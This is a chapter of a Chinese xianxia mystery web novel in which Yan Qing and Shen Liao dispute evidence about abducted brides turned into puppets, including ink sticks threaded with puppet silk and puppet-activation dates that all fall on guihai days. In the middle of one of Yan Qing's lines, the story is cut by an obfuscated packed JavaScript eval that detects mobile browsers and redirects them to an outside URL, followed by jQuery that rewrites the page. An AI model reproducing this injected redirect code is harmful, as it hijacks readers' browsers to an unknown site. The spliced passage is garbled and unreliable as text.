晏清指尖抚过桌案上两方墨锭。
从洞窟取来的松烟墨质地绵软,边缘还沾着星点朱砂;而李府这块触手生寒,断面竟泛着金属冷光。当她将两者并置时,灵鉴突然尖叫着弹出两尺:
“要命!这块硬的会吃人!”玉简拼凑出“墨锭食用指南”插图,“友情提示:左边这块适合清蒸,右边这块建议沈大人当磨牙棒——专治嘴硬!”
玉简边说边幻化出放大镜虚影,照见那洞窟里的墨锭内部缠有密密麻麻的金色丝线。
“殿下的证据好像并不能说服本座。”
灵鉴趴在晏清肩头:“警告!检测到某神罚使者开启‘我不听我不听’模式,建议殿下使用物理说服法!”
沈燎锁魂链的链尖挑开新娘层层叠叠的袖口,女傀腕间皮肤在他指尖亮出的金纹下显出奇异质地:既非人皮也非绢帛,倒像是将星辉碾碎后浇筑成形的琉璃胎。
沈燎继续道:“本座的证据便是这女子:确实是傀,也确实还有魂火气息。”
晏清:“那这墨锭之中的金丝你作何解释?”
沈燎蹙眉,丹凤眼尾曳出的弧度似淬毒银钩。睫影在眼睑下投出弯刃般的阴翳,眸光如深潭冻雾:
“他苏暮平一个堂堂傀儡师,自制一块松烟墨时习惯加点傀丝有何不可?本座倒不知,天女殿下为何放着眼前的人傀不看,偏要去执着两根毫无意义的墨锭?”
“臣以为,这案子查到此已经可以结了。”
他抬眸盯住晏清的双瞳,道:“真相已经摆在眼前了不是吗,殿下?”
沈燎只觉得她在滥用私权,堂堂天女殿下怎会连这般显而易见的道理都看不明白?
分明就是那苏暮平耿耿于怀百年前的雷刑,把这些新娘劫走再活活炼制成傀儡!
晏清冷嗤一声,捻起那洞窟里的一方墨锭,声音淬上极寒:
“神罚使大人当真好一个信誓旦旦,好一个理所当然。”
“沈燎,本殿问你。”阳光斜切过里屋的雕花窗棂,晏清瞳孔的那抹茶色倏然化作淬毒的琥珀,看向沈燎的瞬间好似从瞳仁最深处裂出蛛网般的毒藤。
“为何你的证据算证据,本殿的证据算执着?”
沈燎刚要开口,哪知晏清根本没有给他机会——
“为何一个写手记甚至都要记明何时、何日、乃至何物用了几斤几两的高阶傀师,会在制成的墨锭里随意加傀丝?”
“为何店里分明可以直接买到的墨锭,苏暮平还要费尽心思自己去制?”
“当然是因为天道卖的墨锭买二送一还包邮啊!”叫喝着的灵鉴旋即惨叫着被沈燎卷起的链气劈成两半。
“为何洞窟里会放一具冰棺,而苏暮平在《天命篆》上却显示早已死去百年?”
玉简重新拼装好又暗搓搓飘到沈燎背后展开篆字:
“破案了,苏暮平实乃三界第一狠人!白天当傀儡师,晚上做冻鲜尸,全年无休感动天庭!”
“倘若你的猜测属真,那么又是为何他要劫的不是商贾更不是官家,偏偏是毫无关联的成亲娘子?”
晏清不再看他,淡声道:
“你若是说服本殿,本殿便准你捉拿苏暮平。”
灵鉴突然抖开一本话本结局:“冷酷神罚使带球跑之追妻火葬场的108种办法!”
随即顿时被两道杀气劈成天女散花状。
里屋内一时安静得没有半分声响。
沈燎沉默片刻:“神罚使的职责是搜集证据和奉命抓人,至于原因如何……不在臣的管辖范围之内。”
“按这个道理,本鉴若是往沈大人茶水里加二两巴豆,也能说是帮你调理肠胃咯?”灵鉴再次诈尸。
沈燎:“……”
晏清轻笑一声,随即坐到檀木桌前再次翻开苏暮平的手记,“神罚使的证据,本殿不认,”她翻页的指尖突然停住,“莫非……”
“为什么不继续查下去了呢,神罚使大人?”
“还是说,莫非你沈燎真的害怕本殿不小心查出了真相,不是不愿查——”
“而是不敢查了?”
晏清指尖象征天女的凤羽状咒印轰然炸开,震得锁魂链铮鸣不止。沈燎按住锁魂链,咬牙道:
“殿下说笑了。神罚使探案谈何敢与不敢,殿下若要彻查,臣必定奉陪。”
沈燎从未见过晏清这般无理的人:面上她还在维系遵守着那晚两人的约定,实际不过一直用证据不够来搪塞罢了,而刚刚突然炸开的凤羽状咒印就是赤裸裸的警告。
不占理就威胁?
呵,真是好一个天命神女。
晏清翻着苏暮平手记的指尖突然一顿,她眉心微蹙:“永昌八年正月二十、三月二十一、五月二十三、七月二十四、九月二十四……冬月二十五……”
“按苏暮平的记载……为何他的每个新傀贴符的日子,都恰巧相差了整六十天?”
“灵鉴,永昌八年正月二十是何日?”
那灵鉴哗啦啦翻开一本《黄历万事通》:“永昌八年正月二十,癸亥日,宜祭祀,忌嫁娶。”
它飘过去看着笔记挨个对照:
“永昌八年三月二十一,癸亥日,宜扫舍,沐浴,忌嫁娶。”
“永昌八年五月二十三,癸亥日,宜祭祀,忌嫁娶。”
“…………”
“永昌八年冬月二十五,癸亥日,宜沐浴,裁衣,忌嫁娶。”
苏暮平笔记上所有给傀儡贴上符咒,意味着傀儡正式开始使用的日子,无一意外全是癸亥日。
全是……忌嫁娶。
可李家嫡四小姐为何还会在冬月二十五出嫁呢?黄历不是分明写着忌嫁娶吗?
玉简突然抖出黄历虚影,字迹噼里啪啦炸成一片:“精彩!精彩!苏暮平选傀日子的标准简直比月老牵红线的原则还坚定!”
它随即幻化出个捶地大笑的小人:“专挑忌嫁娶日给傀启灵,防止傀儡脱单!”
沈燎闻声也拿起笔记查看,当他锁魂链擦过灵鉴幻出黄历残页时,灵鉴突然用朱砂圈住“忌嫁娶”三个字:“沈大人睁开你的眼睛好好看!”
“哎哟!谁准你碰本鉴的眼睛了?!”
晏清:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338551|167790||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
......”
随即她径直迈过沈潦和灵鉴走出里屋,叫住了一个院外的侍女:“去把你们管家请来。”
侍女微微颔首曲身行礼,小跑着去了。
不一会那个葫芦管家就从朱漆的门后探出头来,两腮肥肉随着谄笑泛起涟漪,活似只裹着锦缎的腌菜坛子:“二位仙姑仙长,听说你们找老夫有事要问?”
晏清颔首示意:“李府嫡四小姐的出嫁之日是?”
“回仙姑的话,四小姐出嫁之日乃永昌八年,冬月二十五日。我们小姐原是个活泼开朗的姑娘,求二位仙姑仙长救救她啊……”
腌菜罐子挤出一张皱巴巴的脸,说得还似乎真有几分情真意切。
沈燎看着他的模样冷哼一声:“冬月二十五日,癸亥日,分明是个不宜嫁娶的日子……你们不选个黄道吉日盼她嫁去享福,为何偏挑中这么个日子?”
“仙长你有所不知啊,我们家四小姐出生时腕间有一丹砂印记,老人夫人请算命对道士看过,说我们小姐有凤命,是个大富大贵的命……”
晏清:“四小姐生辰何时?”
葫芦管家:“永庚十年七月,乙酉日……子时正刻。”【1】
灵鉴从晏清的袖子里直接蹦出两尺高:“什么?永庚年……癸丑年?!”
玉简随即立刻翻出本黄历:“癸丑年七月乙酉日,子时正刻:阴蚀年,鬼月,地煞星凌月!她玩消消乐呢?全撞上了!”
“这是隐凤格啊!”灵鉴大惊,“命宫自带九曜隐凤星象【2】,出生时北斗的‘破军’隐于月下,她八字还含癸亥双水,对应天道命盘裂隙。”
“哎,对对……对,那给小姐算命的瞎子就是这么说的……”葫芦管家忙点头应和。
灵鉴:“……”
沈燎眸子微眯,冷声:“隐凤格又如何?莫非生得太好就不能嫁得太好?”
“那给小姐算命的道士说小姐命格极好,但是婚事恐有坎坷,非要夫人和老爷需要选一个癸亥日,方可化解此难……”
“可是哪知,分明按他所说选了癸亥日,我们小姐也……哎……”
待管家走后,晏清走到安静地坐在梳妆镜前的李家四小姐跟前。她刚拿起妆台上的犀角梳,新娘突然机械地转头:
“子...时...”沙哑如生锈机簧的声音,仿佛都震得梁上灰尘簌簌而落,“天……凤格……”
她的声音格外模糊,晏清只能蹲下靠近她,她偏突然又不说话了。
“殿下与其围着一具傀儡问话,倒不如整合一下方才的线索,”沈燎此刻也没有和晏清争执的想法了,他确实感觉到这案子绝并非他所想的简单:
“苏暮平笔记里所有的傀儡贴符启灵那日,都是癸亥日——现下还需要知道,其他被劫走的新娘出嫁日,是否都对应苏暮平本子上所记录的癸亥日,此其一。”
“李家四小姐是传闻中的隐凤格,此其二。”
晏清挑开“李家四小姐”的袖口,看见了她腕间如管家所说的丹砂印记,她让灵鉴记录完,挽唇笑道:
“此其三。”